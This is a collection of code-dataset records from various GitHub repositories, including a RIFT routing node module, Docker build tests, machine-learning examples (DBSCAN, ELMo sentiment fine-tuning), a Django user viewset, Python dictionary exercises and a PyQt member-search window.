destination.add_predecessor(predecessor_system_id)\n dest_table = self._spf_destinations[spf_direction]\n destination.inherit_next_hops(dest_table[predecessor_system_id])\n\n def spf_mark_pos_disagg_prefixes(self):\n # Mark the prefixes in the SPF table for which this router wants to do positive aggregation\n # (not to be confused with prefixes in this SPF tables which were received because some\n # north-bound router did positive disaggregation)\n for dest in self._spf_destinations[constants.DIR_SOUTH].values():\n if dest.dest_type != spf_dest.DEST_TYPE_PREFIX:\n continue\n if dest.prefix.ipv4prefix:\n nexthops = dest.ipv4_next_hops\n else:\n assert dest.prefix.ipv6prefix\n nexthops = dest.ipv6_next_hops\n for nexthop in nexthops:\n intf = self.interfaces_by_name[nexthop.interface]\n if intf.partially_connected:\n dest.positively_disaggregate = True\n\n def interface_id_to_ipv4_next_hop(self, interface_id):\n if interface_id not in self.interfaces_by_id:\n return None\n intf = self.interfaces_by_id[interface_id]\n if intf.neighbor is None:\n return None\n if intf.neighbor.ipv4_address is None:\n return None\n remote_address = packet_common.make_ip_address(intf.neighbor.ipv4_address)\n return next_hop.NextHop(intf.name, remote_address)\n\n def interface_id_to_ipv6_next_hop(self, interface_id):\n if interface_id not in self.interfaces_by_id:\n return None\n intf = self.interfaces_by_id[interface_id]\n if intf.neighbor is None:\n return None\n if intf.neighbor.ipv6_address is None:\n return None\n remote_address_str = intf.neighbor.ipv6_address\n if \"%\" in remote_address_str:\n remote_address_str = remote_address_str.split(\"%\")[0]\n remote_address = packet_common.make_ip_address(remote_address_str)\n return next_hop.NextHop(intf.name, remote_address)\n\n def spf_use_tie_direction(self, visit_system_id, spf_direction):\n if spf_direction == constants.DIR_SOUTH:\n # , we always want to use the North-Node-TIEs to look for\n # neighbors and North-Prefix-TIEs to look for prefixes.\n return constants.DIR_NORTH\n elif visit_system_id != self.system_id:\n # When running a North SPF, we normally want to use the South-Node-TIEs to look for\n # neighbors and South-Prefix-TIEs to look for prefixes...\n return constants.DIR_SOUTH\n else:\n # ... except that for self-originated TIEs, we always want to use\n # (a) The self-originated North-Node-TIE because leafs may not originate a\n # South-Node-TIE and\n # (b) The self-origianted North-Prefix-TIE (if any) because we want SPF to not\n # prefer the self-originated default route over the received default route route.\n return constants.DIR_NORTH\n\n def is_neighbor_bidirectional(self, visit_system_id, nbr_system_id, nbr_tie_element,\n spf_direction):\n # Locate the Node-TIE(s) of the neighbor node in the desired direction. If we can't find\n # the neighbor's Node-TIE(s), we declare the adjacency to be not bi-directional.\n reverse_direction = constants.reverse_dir(spf_direction)\n nbr_node_ties = self.node_ties(reverse_direction, nbr_system_id)\n if nbr_node_ties == []:\n return False\n # Check for bi-directional connectivity: the neighbor must report the visited node\n # as an adjacency with the same link-id pair (in reverse).\n bidirectional = False\n for nbr_nbr in self.node_neighbors(nbr_node_ties, reverse_direction):\n (nbr_nbr_system_id, nbr_nbr_tie_element) = nbr_nbr\n # Does the neighbor report the visited node as its neighbor?\n if nbr_nbr_system_id != visit_system_id:\n continue\n # Are the link_ids bidirectional?\n if not self.are_link_ids_bidirectional(nbr_tie_element, nbr_nbr_tie_element):\n continue\n # Yes, connectivity is bidirectional\n bidirectional = True\n break\n return bidirectional\n\n def are_link_ids_bidirectional(self, nbr_tie_element_1, nbr_tie_element_2):\n # Does the set link_ids_1 contain any link-id (local_id, remote_id) which is present in\n # reverse (remote_id, local_id) in set link_ids_2?\n for id1 in nbr_tie_element_1.link_ids:\n for id2 in nbr_tie_element_2.link_ids:\n if (id1.local_id == id2.remote_id) and (id1.remote_id == id2.local_id):\n return True\n return False\n\n def spf_install_routes_in_rib(self, spf_direction):\n if spf_direction == constants.DIR_NORTH:\n owner = constants.OWNER_N_SPF\n else:\n owner = constants.OWNER_S_SPF\n self._ipv4_rib.mark_owner_routes_stale(owner)\n self._ipv6_rib.mark_owner_routes_stale(owner)\n dest_table = self._spf_destinations[spf_direction]\n for dest_key, dest in dest_table.items():\n if isinstance(dest_key, int):\n # Destination is a node, do nothing\n pass\n elif dest.predecessors == []:\n # Local node destination, don't install in RIB as result of SPF\n pass\n elif dest.predecessors == [self.system_id]:\n # Local prefix destination, don't install in RIB as result of SPF\n pass\n else:\n prefix = dest_key\n if prefix.ipv4prefix is not None:\n next_hops = dest.ipv4_next_hops\n route_table = self._ipv4_rib\n else:\n assert prefix.ipv6prefix is not None\n next_hops = dest.ipv6_next_hops\n route_table = self._ipv6_rib\n if next_hops:\n rte = route.Route(prefix, owner, next_hops)\n route_table.put_route(rte)\n self._ipv4_rib.del_stale_routes()\n self._ipv6_rib.del_stale_routes()\n\n def floodred_elect_repeaters(self):\n self.floodred_debug(\"Re-elect flood repeaters\")\n if self.floodred_enabled:\n # Update parents and grandparents\n self.floodred_update_ancestry()\n # Sort and shuffle parents (order by decreasing grandparent count)\n self.floodred_sort_shuffle_parents()\n # Pick flood repeaters to get the required coverage of grandparents\n self.floodred_pick_repeaters()\n # Active newly elected flood repeater interfaces (gracefully, i.e. activating new flood\n # repeaters before de-activating old flood repeaters)\n self.floodrep_update_intfs()\n else:\n # Flooding reduction is disabled. Don't compute parents or grandparents. Tell all\n # north neighbors that they are flood repeaters (i.e. no reduction in flooding)\n self.floodrep_all_intfs_are_fr()\n\n def floodred_update_ancestry(self):\n # Update the following information about parents and grandparents\n #\n # floodred_parents: A list of FloodRedParent objects (not sorted at this point)\n self.floodred_parents = self.floodred_gather_parents()\n #\n # floodred_grandparents: A dictionary of FloodRedGrandparent objects, indexed by sysid\n self.floodred_grandparents = {}\n for parent in self.floodred_parents:\n grandparent_sysids = self.floodred_gather_grandparents(parent)\n for grandparent_sysid in grandparent_sysids:\n if grandparent_sysid in self.floodred_grandparents:\n grandparent = self.floodred_grandparents[grandparent_sysid]\n else:\n grandparent = FloodRedGrandparent(self, grandparent_sysid)\n self.floodred_grandparents[grandparent_sysid] = grandparent\n parent.add_grandparent(grandparent) # Grandparent of this node, parent of parent\n grandparent.add_parent(parent) # Parent of this node, child of grandparent\n\n def floodred_gather_parents(self):\n # Gather list of FloodRedParent objects (not sorted at this time)\n parents = []\n for intf in self.interfaces_by_name.values():\n if (intf.fsm.state == intf.State.THREE_WAY and\n intf.neighbor_direction() == constants.DIR_NORTH):\n parent = FloodRedParent(self, intf)\n parents.append(parent)\n return parents\n\n def floodred_gather_grandparents(self, parent):\n # Gather list of sysids of parents of parent, i.e. sysids of grandparents of this node\n grandparent_sysids = []\n parent_node_ties = self.node_ties(constants.DIR_SOUTH, parent.sysid)\n for grandparent_nbr in self.node_neighbors(parent_node_ties, constants.DIR_NORTH):\n (grandparent_sysid, _grandparent_tie_element) = grandparent_nbr\n grandparent_sysids.append(grandparent_sysid)\n return grandparent_sysids\n\n def floodred_sort_shuffle_parents(self):\n # Sort the parents array by decreasing grandparents count\n self.floodred_parents.sort(reverse=True)\n # Shuffle parents that have the same grandparent count. Follow the pseudo-code in the draft\n # verbatim, even though it is not very Pythonic. I do the shuffling in-place, as is hinted\n # to by the \"abstract action, maybe noop\" comment in the draft (and hence we don't need k)\n parents = self.floodred_parents\n nr_parents = len(parents)\n similarity_group_index = 1 # Corresponds to k=0 in the draft\n i = 0\n while i < nr_parents:\n j = i\n while True:\n if i >= nr_parents:\n break\n i_nr_grandparents = len(parents[i].grandparents)\n j_nr_grandparents = len(parents[j].grandparents)\n if j_nr_grandparents - i_nr_grandparents > self.floodred_similarity:\n break\n i += 1\n self.shuffle_parents_slice(j, i, similarity_group_index)\n similarity_group_index += 1\n\n def shuffle_parents_slice(self, start_inclusive, end_exclusive, similarity_group_index):\n # Shuffle a slice of the parents list, using the modern Durstenfeld variation of the\n # Fisher-Yates algorithm.\n lst = self.floodred_parents\n high_grandparent_count = len(lst[start_inclusive].grandparents)\n low_grandparent_count = len(lst[end_exclusive-1].grandparents)\n similarity_group = (str(similarity_group_index) + \": \" +\n str(high_grandparent_count) + \"-\" + str(low_grandparent_count))\n for i in reversed(range(start_inclusive+1, end_exclusive)):\n random_range = i - start_inclusive\n j = start_inclusive + self.floodred_node_random % random_range\n lst[i], lst[j] = lst[j], lst[i]\n lst[i].similarity_group = similarity_group\n lst[start_inclusive].similarity_group = similarity_group\n\n def floodred_pick_repeaters(self):\n # Visit each parent (in the shuffled order) and decide whether or not it should be a\n # flood repeater.\n for parent in self.floodred_parents:\n # Make the parent a flood repeater if it connect to at least one grandparent that does\n # not yet have a sufficient number of adjacencies to elected flood repeaters.\n make_flood_repeater = False\n for grandparent in parent.grandparents:\n if grandparent.fr_adjacencies < self.floodred_redundancy:\n make_flood_repeater = True\n break\n if make_flood_repeater:\n parent.flood_repeater = True\n for grandparent in parent.grandparents:\n grandparent.fr_adjacencies += 1\n # Warn about any grandparents that could not be covered with sufficient redundancy\n for grandparent in self.floodred_grandparents.values():\n if grandparent.fr_adjacencies >= self.floodred_redundancy:\n grandparent.covered = True\n else:\n grandparent.covered = False\n self.floodred_warning(\"Grandparent system-id %s not covered by flooding repeaters\",\n utils.system_id_str(grandparent.sysid))\n\n def floodrep_update_intfs(self):\n # Do all activations before any de-activations (so that the de-activations can known whether\n # they need to way for any pending activations to be completed)\n for parent in self.floodred_parents:\n if parent.flood_repeater:\n self.floodrep_activate_fr_on_intf(parent.intf)\n for parent in self.floodred_parents:\n if not parent.flood_repeater:\n self.floodrep_deactivate_fr_on_intf(parent.intf)\n\n def floodrep_all_intfs_are_fr(self):\n for intf in self.interfaces_by_name.values():\n intf.activate_flood_repeater(force=True)\n\n def floodrep_activate_fr_on_intf(self, intf):\n if intf.activate_flood_repeater():\n pending_str = \"(pending)\"\n else:\n pending_str = \"(immediate)\"\n self.floodred_debug(\"Activate interface %s as flood repeater %s\", intf.name, pending_str)\n\n def floodrep_deactivate_fr_on_intf(self, intf):\n if intf.deactivate_flood_repeater():\n pending_str = \"(pending)\"\n else:\n pending_str = \"(immediate)\"\n self.floodred_debug(\"Deactivate interface %s as flood repeater %s\", intf.name, pending_str)\n\nclass FloodRedParent:\n\n def __init__(self, node, intf):\n self.node = node\n self.intf = intf\n self.sysid = intf.neighbor.system_id\n self.name = intf.neighbor.name\n self.grandparents = [] # Grandparents of this node, i.e. parent of parent\n self.similarity_group = None\n self.flood_repeater = False\n\n def add_grandparent(self, grandparent):\n # Add grandparent of this node, i.e. parent of parent\n self.grandparents.append(grandparent)\n\n def __lt__(self, other):\n grandparent_count = len(self.grandparents)\n other_grandparent_count = len(other.grandparents)\n if grandparent_count < other_grandparent_count:\n return True\n if grandparent_count > other_grandparent_count:\n return False\n # Need a tie-breaker to make shuffling deterministic (which is needed for unit testing)\n if self.sysid < other.sysid:\n return True\n return False\n\n @staticmethod\n def cli_summary_headers():\n return [\n [\"Interface\", \"Name\"],\n [\"Parent\", \"System ID\"],\n [\"Parent\", \"Interface\", \"Name\"],\n [\"Grandparent\", \"Count\"],\n [\"Similarity\", \"Group\"],\n [\"Flood\", \"Repeater\"]\n ]\n\n def cli_summary_attributes(self):\n return [\n self.intf.name,\n utils.system_id_str(self.sysid),\n self.name,\n len(self.grandparents),\n self.similarity_group,\n self.flood_repeater\n ]\n\nclass FloodRedGrandparent:\n\n def __init__(self, node, sysid):\n self.node = node\n self.sysid = sysid\n self.parents = [] # Parents of this node, i.e. children of grandparent\n self.fr_adjacencies = 0\n self.covered = False\n\n def add_parent(self, parent):\n # Add parent of this node, i.e. child of grandparent\n # TODO: Don't need this if my e-mail is correct\n self.parents.append(parent)\n\n @staticmethod\n def cli_summary_headers():\n return [\n [\"Grandparent\", \"System ID\"],\n [\"Parent\", \"Count\"],\n [\"Flood\", \"Repeater\", \"Adjacencies\"],\n [\"Redundantly\", \"Covered\"]\n ]\n\n def cli_summary_attributes(self):\n return [\n utils.system_id_str(self.sysid),\n len(self.parents),\n self.fr_adjacencies,\n self.covered\n ]\n","repo_name":"yuma-bbt/rift-python","sub_path":"rift/node.py","file_name":"node.py","file_ext":"py","file_size_in_byte":132988,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"20"} +{"seq_id":"34698630497","text":"import os\n\nimport docker\nimport pytest\n\nfrom . import launch, util\n\n\n@pytest.fixture\ndef client():\n return docker.from_env()\n\n\n@pytest.fixture(scope='function')\ndef clean_images():\n images = docker.from_env().images\n before = {x.id for x in images.list()}\n yield\n after = {x.id for x in images.list()}\n map(images.remove, after.difference(before))\n\n\n@pytest.mark.parametrize('dockerfile', util.find_dockerfiles('.'))\ndef test_build_image(client, dockerfile):\n dockerfile_path = 'docker/{}'.format(dockerfile)\n launch.build_image(client, dockerfile=dockerfile_path)\n tags = [tag for x in client.images.list() for tag in x.tags]\n expected_tag = '{}/{}:latest'.format(launch.PROJECT_NAME, dockerfile)\n assert expected_tag in tags\n","repo_name":"gmoben/taxi","sub_path":"scripts/test_launch.py","file_name":"test_launch.py","file_ext":"py","file_size_in_byte":760,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"72576403570","text":"import numpy as np\nfrom sklearn.cluster import DBSCAN\nfrom sklearn.datasets import make_moons\n\nif True:\n X, y = make_moons(n_samples=1000, noise=0.05)\n dbscan = DBSCAN(eps=0.2, min_samples=5)\n dbscan.fit(X)\n print(dbscan.labels_) # If =-1 -> anomaly\n # core instances:\n print(dbscan.core_sample_indices_)\n # Coordinates in the feature space of each core instances\n print(dbscan.components_)\n\n # To predict new instances, we could use KNN trained on the core instances\n # We could train on all the instances but the anomalies if we wanted\n from sklearn.neighbors import KNeighborsClassifier\n knn = KNeighborsClassifier(n_neighbors=50)\n knn.fit(dbscan.components_, dbscan.labels_[dbscan.core_sample_indices_])\n\n X_new = np.array([ [-0.5, 0], [0, 0.5], [1, -0.1], [2, 1] ])\n print(knn.predict(X_new))\n print(knn.predict_proba(X_new))\n\n # To find anomalies (points too far from clusters)\n y_dist, y_pred_idx = knn.kneighbors(X_new, n_neighbors=1) # returns the distances and idx to the k nearest\n # instances\n\n y_pred = dbscan.labels_[dbscan.core_sample_indices_][y_pred_idx]\n y_pred[y_dist > 0.2] = -1\n print(y_pred.ravel())\n","repo_name":"AlexDs20/HandsOnML","sub_path":"Chapters/Chap9_Unsupervised_ML/DBSCAN.py","file_name":"DBSCAN.py","file_ext":"py","file_size_in_byte":1256,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"16663649236","text":"###########################################################\r\n# Fine-Tuning pre-trained Elmo model weights with keras GPU\r\n# on Sentiment dataset\r\n###########################################################\r\n\r\nimport tensorflow as tf\r\nimport pandas as pd\r\nimport tensorflow_hub as hub\r\nimport os\r\nimport re\r\nfrom keras import backend\r\nimport keras.layers as layers\r\nfrom keras.models import Model, load_model\r\nfrom keras.engine import Layer\r\nimport numpy as np\r\nimport pickle\r\nfrom tensorflow.python.client import device_lib\r\nfrom sklearn.metrics import classification_report\r\n\r\ndevice_lib.list_local_devices()\r\n\r\n# Configure GPU process Memory for easy load\r\nconfig = tf.ConfigProto()\r\nconfig.gpu_options.per_process_gpu_memory_fraction = 0.4\r\nconfig.gpu_options.allow_growth = True\r\nsession = tf.Session(config=config)\r\nbackend.set_session(session)\r\n\r\n# Reduce logging output.\r\ntf.logging.set_verbosity(tf.logging.ERROR)\r\n\r\n# Load all files from a directory in a DataFrame.\r\ndef load_directory_data(directory):\r\n data = {}\r\n data[\"sentence\"] = []\r\n data[\"sentiment\"] = []\r\n for file_path in os.listdir(directory):\r\n with tf.gfile.GFile(os.path.join(directory, file_path), \"r\") as f:\r\n data[\"sentence\"].append(f.read())\r\n data[\"sentiment\"].append(re.match(\"\\d+_(\\d+)\\.txt\", file_path).group(1))\r\n return pd.DataFrame.from_dict(data)\r\n\r\n# Merge positive and negative examples, add a polarity column and shuffle.\r\ndef load_dataset(directory):\r\n pos_df = load_directory_data(os.path.join(directory, \"pos\"))\r\n neg_df = load_directory_data(os.path.join(directory, \"neg\"))\r\n pos_df[\"polarity\"] = 1\r\n neg_df[\"polarity\"] = 0\r\n return pd.concat([pos_df, neg_df]).sample(frac=1).reset_index(drop=True)\r\n\r\n# Download and process the dataset files.\r\ndef download_and_load_datasets(force_download=False):\r\n dataset = tf.keras.utils.get_file(\r\n fname=\"aclImdb.tar.gz\",\r\n origin=\"http://ai.stanford.edu/~amaas/data/sentiment/aclImdb_v1.tar.gz\",\r\n extract=True)\r\n\r\n train_df = load_dataset(os.path.join(os.path.dirname(dataset),\r\n \"aclImdb\", \"train\"))\r\n test_df = load_dataset(os.path.join(os.path.dirname(dataset),\r\n \"aclImdb\", \"test\"))\r\n\r\n return train_df, test_df\r\n\r\ntrain_df, test_df = download_and_load_datasets()\r\ntrain_df.head()\r\n\r\n\r\n# ________________________________________________ SAVE __________________________________\r\nwith open('./pickled/'+ 'aclImdb_train' + '.pkl', 'wb') as f:\r\n pickle.dump(train_df, f, pickle.HIGHEST_PROTOCOL)\r\n\r\nwith open('./pickled/'+ 'aclImdb_test' + '.pkl', 'wb') as f:\r\n pickle.dump(test_df, f, pickle.HIGHEST_PROTOCOL)\r\n\r\n\r\n# ____________________________________________________ LOAD _______________________________________\r\n\r\nwith open('./pickled/'+ 'aclImdb_train' + '.pkl', 'rb') as f:\r\n train_df = pickle.load(f)\r\n\r\nwith open('./pickled/'+ 'aclImdb_test' + '.pkl', 'rb') as f:\r\n test_df = pickle.load(f)\r\n\r\ntrain_df.head()\r\ntest_df.head()\r\n\r\n# Create a custom layer that allows us to update weights (lambda layers do not have trainable parameters!)\r\nclass ElmoEmbeddingLayer(Layer):\r\n def __init__(self, **kwargs):\r\n self.dimensions = 1024\r\n self.trainable=False\r\n super(ElmoEmbeddingLayer, self).__init__(**kwargs)\r\n\r\n def build(self, input_shape):\r\n self.elmo = hub.Module('https://tfhub.dev/google/elmo/2', trainable=self.trainable,\r\n name=\"{}_module\".format(self.name))\r\n\r\n self.trainable_weights += backend.tf.trainable_variables(scope=\"^{}_module/.*\".format(self.name))\r\n super(ElmoEmbeddingLayer, self).build(input_shape)\r\n\r\n def call(self, x, mask=None):\r\n result = self.elmo(backend.squeeze(backend.cast(x, tf.string), axis=1),\r\n as_dict=True,\r\n signature='default',\r\n )['default']\r\n return result\r\n\r\n def compute_mask(self, inputs, mask=None):\r\n return backend.not_equal(inputs, '--PAD--')\r\n\r\n def compute_output_shape(self, input_shape):\r\n return (input_shape[0], self.dimensions)\r\n\r\n# Function to build model\r\ndef build_model():\r\n input_text = layers.Input(shape=(1,), dtype=\"string\")\r\n embedding = ElmoEmbeddingLayer()(input_text)\r\n dense = layers.Dense(256, activation='relu')(embedding)\r\n pred = layers.Dense(1, activation='sigmoid')(dense)\r\n\r\n model = Model(inputs=[input_text], outputs=pred)\r\n\r\n model.compile(loss='binary_crossentropy', optimizer='adam', metrics=['accuracy'])\r\n model.summary()\r\n\r\n return model\r\n\r\n# Create datasets (Only take up to 150 words for memory)\r\ntrain_text = train_df['sentence'].tolist()\r\ntrain_text = [' '.join(t.split()[0:50]) for t in train_text]\r\ntrain_text = np.array(train_text, dtype=object)[:, np.newaxis]\r\ntrain_label = train_df['polarity'].tolist()\r\n\r\ntest_text = test_df['sentence'].tolist()\r\ntest_text = [' '.join(t.split()[0:50]) for t in test_text]\r\ntest_text = np.array(test_text, dtype=object)[:, np.newaxis]\r\ntest_label = test_df['polarity'].tolist()\r\n\r\n\r\n# Build and fit\r\nmodel = build_model()\r\nmodel.fit(train_text,\r\n train_label,\r\n verbose=1,\r\n validation_data=(test_text, test_label),\r\n epochs=2,\r\n batch_size=5)\r\n\r\nmodel.save('ElmoModel.h5_2Epochs_non-trainable')\r\n\r\npre_save_preds = model.predict(test_text[0:10]) # predictions before we clear and reload model\r\npre_save_preds\r\n# Clear and load model\r\nmodel = None\r\nmodel = build_model()\r\nmodel.load_weights('ElmoModel.h5_2Epochs_trainable')\r\n\r\npost_save_preds = model.predict(test_text[0:100]) # predictions after we clear and reload model\r\nall(pre_save_preds == post_save_preds) # Are they the same?\r\n\r\n# ____________________________________________ TESTING __________________________________________\r\ntext_n = test_df[test_df['polarity'] == 0][:1000]\r\ntext_p = test_df[test_df['polarity'] == 1][:1000]\r\n\r\nn_text = text_n['sentence'].tolist()\r\nn_sent = text_n['polarity'].tolist()\r\n\r\np_text = text_p['sentence'].tolist()\r\np_sent = text_p['polarity'].tolist()\r\n\r\nsentences,sentiment = [],[]\r\n\r\nsentences = n_text + p_text\r\nsentiment = n_sent + p_sent\r\n\r\nsentences = [' '.join(t.split()[0:125]) for t in sentences]\r\nsentences = np.array(sentences, dtype=object)[:, np.newaxis]\r\n\r\n\r\npre_save_preds = []\r\nchunks = [sentences[x:x+5] for x in range(0, len(sentences), 5)]\r\n\r\nmodel.predict(sentences[3])\r\n\r\nfor chunk in chunks:\r\n pre_save_preds.append(model.predict(chunk))\r\n\r\nnn_pred=[]\r\nfor chunk in pre_save_preds:\r\n for pred in chunk:\r\n nn_pred.append(1 if pred>=0.5 else 0)\r\n\r\nprint(classification_report(y_true=sentiment, y_pred=nn_pred))\r\n","repo_name":"AimVoma/Sentiment-Mining","sub_path":"fine_tune.py","file_name":"fine_tune.py","file_ext":"py","file_size_in_byte":6664,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"20"} +{"seq_id":"42157518983","text":"'''\nDetermine whether an integer is a palindrome. An integer is a palindrome when it reads the same backward as forward.\n'''\nclass Solution:\n def isPalindrome(self, x: 'int') -> 'bool':\n s = str(x)\n s = s[::-1]\n print(s)\n if x<0:\n return(False)\n else:\n p = int(s)\n if p == x:\n print(p)\n return(True)\n else:\n return(False)\n","repo_name":"hemantholani/Leet-Code-Problems-Python","sub_path":"Palindrome Number.py","file_name":"Palindrome Number.py","file_ext":"py","file_size_in_byte":449,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"20"} +{"seq_id":"25145044388","text":"from djoser.conf import settings\nfrom djoser.views import UserViewSet\nfrom rest_framework.decorators import action\nfrom rest_framework.response import Response\n\nfrom common.paginators import DynamicLimitPaginator\nfrom common.utils import follow, unfollow\nfrom users.models import Subscribe, User\nfrom users.serializers import CustomUserSerializer, SubscribeSerializer\n\n\nclass CustomUserViewSet(UserViewSet):\n pagination_class = DynamicLimitPaginator\n serializer_class = CustomUserSerializer\n\n def get_permissions(self):\n if self.action == 'me':\n self.permission_classes = settings.PERMISSIONS.current_user\n if self.action == 'subscriptions':\n self.permission_classes = settings.PERMISSIONS.subscriptions\n if self.action == 'subscribe':\n self.permission_classes = settings.PERMISSIONS.subscribe\n\n return super().get_permissions()\n\n @action(\n detail=False,\n url_path='subscriptions',\n serializer_class=SubscribeSerializer,\n )\n def subscriptions(self, request):\n user = request.user\n subscriptions = user.subscriptions.all()\n authors = [subscription.author for subscription in subscriptions]\n page = self.paginate_queryset(authors)\n if page is not None:\n serializer = self.get_serializer(page, many=True)\n return self.get_paginated_response(serializer.data)\n serializer = self.get_serializer(authors, many=True)\n return Response(serializer.data)\n\n @action(\n detail=True, methods=['post'], serializer_class=SubscribeSerializer\n )\n def subscribe(self, request, id=None): # noqa: A002\n return follow(self, request, id, User, 'author', Subscribe)\n\n @subscribe.mapping.delete\n def unsubscribe(self, request, id=None): # noqa: A002\n return unfollow(request, id, 'author', Subscribe)\n","repo_name":"PinCatS/foodgram-project-react","sub_path":"backend/foodgram/users/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1883,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"2842101059","text":"#PERCORRENDO UM DICIONÁRIO COM UM LAÇO\n\n#PERCORRENDO TODOS OS PARES CHAVE-VALOR COM UM LAÇO\n\nuser_0 = {\n 'user': 'efermi',\n 'first': 'enrico',\n 'last': 'fermi'\n }\n\nfor key, value in user_0.items(): #Modo de usar for em um dicionário\n print(f\"\\nKey: {key}\")\n print(f\"Valor: {value}\")\n\n#PERCORRENDO TODAS AS CHAVES DE UM DICIONÁRIO COM UMA LAÇO\n\nfav_lang = {\n 'jen': 'python',\n 'sarah': 'c',\n 'edward': 'js',\n 'phil': 'python',\n }\n\nfor name in fav_lang.keys():\n print(name.title())\n\nfriends = ['phil', 'sarah']\nfor name in fav_lang.keys():\n print(name.title())\n\n if name in friends:\n print(f\" Hi {name.title()}, eu vi que sua linguagem favorita é {fav_lang[name].title()}\")\n\nif 'erin' not in fav_lang.keys():\n print(\"Erin, dê sua opinião.\")\n\n#PERCORRENDO AS CHAVES DE UM DICIONÁRIO EM ORDEM EM UMA LAÇO\n\nfav_lang = {\n 'jen': 'python',\n 'sarah': 'c',\n 'edward': 'js',\n 'phil': 'python',\n }\n\nfor name in sorted(fav_lang.keys()):\n print(f\"{name.title()} obrigado por participar!\")\n\n#PERCORRENDO TODOS OS VALORES DE UM DICIONÁRIO COM UM LAÇO\n\nfav_lang = {\n 'jen': 'python',\n 'sarah': 'c',\n 'edward': 'js',\n 'phil': 'python',\n }\n\nprint(\"Vamos ver as linguagens mencionadas: \")\nfor lang in set(fav_lang.values()): #Usamos set() para evitar os valores repetidos\n print(lang.title())\n\n#EXERCICIOS\n\nprint(\"Exercicios: \")\n\n#6.4 GLOSSARIO 2\n\nprint(\"6.4- Glossário 2: \")\n\nglos = {'if': 'se', 'for': 'para', 'print': 'mostrar'}\n\nfor palavra, significado in glos.items():\n print(f\"\\nPalavra: {palavra}\")\n print(f\"Significado: {significado}\")\n\nglos['key'] = 'chave' #Adicionando um novo par chave-valor no dicionario\nglos['value'] = 'valor' #Adicionando um novo par chave-valor no dicionario\nglos['title'] = 'titulo' #Adicionando um novo par chave-valor no dicionario\n\nfor palavra, significado in glos.items():\n print(f\"\\nPalavra: {palavra}\")\n print(f\"Significado: {significado}\")\n\n#6.5 RIOS\n\nprint(\"6.5- Rios: \")\n\nrios = {'nilo': 'egito', 'amazonas': 'brasil', 'tigres': 'mediterraneo'}\nfor rio in rios.keys():\n if rio == 'nilo':\n print(\"O rio Nilo corre pelo Egito.\")\n if rio == 'amazonas':\n print(\"O rio Amazonas corre pelo Brasil.\")\n if rio == 'tigres':\n print(\"O rio Tigres corre pelo Mediterraneo\")\n\nfor rio in rios.keys():\n print(f\"O rio é: {rio.title()}\")\n\nfor pais in rios.values():\n print(f\"O país é: {pais.title()}\")\n\n#6.6 ENQUETES\n\nprint(\"6.6- Enquetes: \")\n\nfav_lang = {\n 'jen': 'python',\n 'sarah': 'c',\n 'edward': 'js',\n 'phil': 'python',\n }\n\nfav_lang['joao'] = 'R'\nfav_lang['gabi'] = 'css'\nfav_lang['deh'] = 'html'\n\npessoas = ['joao', 'gabi', 'edward', 'sarah']\n\nfor name in fav_lang.keys():\n \n\n if name in pessoas:\n print(f\"{name.title()}, obrigado por participar!\")\n \n if name not in pessoas:\n print(f\"{name.title()}, por favor participe da enquete!\")\n\n#INFORMAÇÕES ANINHADAS\n\n#UMA LISTA DE DICIONÁRIOS\n\n\n\n\n\n\n\n\n","repo_name":"jplochini/curso_python","sub_path":"Capitulo_6/user.py","file_name":"user.py","file_ext":"py","file_size_in_byte":3007,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"37745034069","text":"import multiprocessing\nimport pickle\nimport os\nimport sys\nfrom functools import partial\nimport datetime\n\nimport numpy as np\nimport apogee.select as apsel\nimport mwdust\n\nimport mySetup\nimport apogeePickles\nimport pickleGetters\nimport myIsochrones\n\n\n\ndef main():\n Ncpus = int(sys.argv[2])\n jobIndex = int(sys.argv[1])\n \n \n isogrid = myIsochrones.loadGrid()\n weights = myIsochrones.calcWeights(isogrid)\n \n MH_logAge, indices = myIsochrones.extractIsochrones(isogrid)\n MH, logAge = MH_logAge[jobIndex]\n \n if jobIndex+1 0:\n if search_type == \"会员号\":\n condition_str = \"M_id = '{}'\".format(search_content)\n elif search_type == \"姓名\":\n condition_str = \"Mname like '%{}%'\".format(search_content)\n elif search_type == \"身份证号\":\n condition_str = \"M_idcard = '{}'\".format(search_content)\n elif search_type == \"手机号码\":\n condition_str = \"Mtel = '{}'\".format(search_content)\n\n sql_str = sql_str + \" where \" + condition_str\n\n # 实例化数据库类对象\n db = Database()\n # 执行查询语句,并返回全部结果,保存到数组中\n book_list = db.query(sql_str).fetchall()\n\n # 设置model和表头\n self.model = QtGui.QStandardItemModel(0, 8)\n self.model.setHorizontalHeaderLabels(['会员号', '姓名', '性别', '身份证号', '手机号', '会员状态', '注册日期', '有效日期'])\n self.tableView.setModel(self.model)\n self.tableView.setEditTriggers(QtWidgets.QAbstractItemView.NoEditTriggers) # 设置表格不允许编辑\n self.tableView.setSelectionBehavior(QtWidgets.QAbstractItemView.SelectRows) # 设置选中模式为选中整行\n self.tableView.setSelectionMode(QtWidgets.QAbstractItemView.SingleSelection) # 设置选中模式为单选\n # 显示表格内容\n idx = 0\n for bk in book_list:\n self.model.setItem(idx, 0, QtGui.QStandardItem(bk[0]))\n self.model.setItem(idx, 1, QtGui.QStandardItem(bk[1]))\n self.model.setItem(idx, 2, QtGui.QStandardItem(bk[2]))\n self.model.setItem(idx, 3, QtGui.QStandardItem(bk[3]))\n self.model.setItem(idx, 4, QtGui.QStandardItem(bk[4]))\n self.model.setItem(idx, 5, QtGui.QStandardItem(bk[5]))\n self.model.setItem(idx, 6, QtGui.QStandardItem(bk[6]))\n self.model.setItem(idx, 7, QtGui.QStandardItem(bk[7]))\n\n idx += 1\n\n def add(self):\n \"\"\"\n 图书登记\n :return:\n \"\"\"\n pass\n","repo_name":"dongqiwoo/BookManagement","sub_path":"form/MemberWindow.py","file_name":"MemberWindow.py","file_ext":"py","file_size_in_byte":3034,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"20"} +{"seq_id":"24376234314","text":"import wx\nimport 